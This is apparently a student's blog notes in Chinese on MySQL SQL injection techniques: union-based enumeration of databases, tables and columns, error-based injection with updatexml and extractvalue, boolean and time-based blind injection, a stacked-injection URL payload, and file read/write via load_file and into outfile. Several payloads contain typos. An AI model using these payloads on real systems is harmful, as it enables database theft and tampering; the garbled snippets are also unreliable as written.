Web学习第五天

寄了,写了一下午的文档没保存^^_

1.联合查询注入

基本要求:查询列数必须一致;查询语句的查询的各列类型、顺序最好一致

步骤:闭合;判读字段数;判断结果输出位置;爆库、爆表、爆列

  • select * from users where id = '-1' union select 1,2,3;
  • select * from users where id = '1' union select 1,2,3;

如果是1的话,数据库中存在id=1,那么就会返回两行数据,由于limit0,1。MySQL总会返回第一条数据

如果id=-1或者其他不存在的列,那么第一行就一定是我们自己控制的

TABLE表:提供关于数据库中表的信息(包括视图)

COLUMNS表:提供表中的列信息

爆破库名:

  • union select 1,2,database()

爆表名:

  • union select 1,2,group_concat(table_name) from information_schema tables where table_schema=database()
  • union select 1,2,group_concat(table_name) from information-schema columns where table_schema=database()

爆库名

  • union select 1,2,group_concat(column_name) from information_schema columns where table_schema=database()

2.报错注入

报错注入在没法用union联合查询时用,前提是不能过滤一些关键函数。报错注入利用了数据库的某些机制,人为地制造错误条件,使查询结果出现在错误信息中

tips:报错注入有长度限制,不同函数的限制不一样

常用函数

  • Updatexml:更新xml文档的函数。 语法:updatexml (文档类型,xpath路径,更新的内容)
  • Extractvalue:对xml文档进行查询的函数 语法:extractvalue(文档类型,xpath路径)

报错原理:路径写入其他格式,就会报错并且会返回我们写入的非法格式内容,我们可以利用这个得到我们想得到的内容

  • select * from users where id = 1 and uodatexml('1','/etc','1')
    • /etc,由于写入内容没有错误,所以不会报错返回正常内容
  • select * from users where id = 1 and updatexml('1','~etc','1);

3.盲注

if表达式和sleep函数

  • if(expr1,expr2,expr3)
    • 如果expr1式true,则if返回值为expr2;否则返回值为expr3
  • if(1,sleep(3),0)
    • 第一个expr1=1的时候会欻sleep函数,延时3秒,这样就能产生时间差

布尔盲注

步骤:闭合;找到永真和永假的两种情况;利用这两种情况进行对数据进行一位一位的获取

涉及的函数:

  • substr:字符串截取函数 例子:substr(database(),1,1),截取当前数据库的第一位
  • Ascii:把字符转成ascii码

时间盲注的方法

1.sleep()函数

  • select sleep(3);

2.BENCHMARK

  • select benchamark(10000000,sha(1));

3.笛卡尔积

  • select if(1=1,(SELECT count(*)FROM information_schema,tables A, information_schema.colums B),0);

爆破思路

方法:手爆;用burp suite爆破;用python脚本

4.堆叠注入

  • ?id=1';insert into users values('114',database(),'hahaha');--+

5.MySQL文件读写

文件读取函数:

  • Load_file('文件路径')

写文件函数:

  • into outfile
  • into dumpfile select '' into outfile '绝对路径';

两函数区别在于into dumpfile 能导出一个完整能执行的二进制文件。into outfile 会在行末端写入新行,更致命的式会转义换行符,如果利用MySQL写一些dll或者其他二进制可执行文件,那么这个文件可能会被破坏

posted @ 2021-08-02 23:34  颜骏  阅读(48)  评论(0编辑  收藏  举报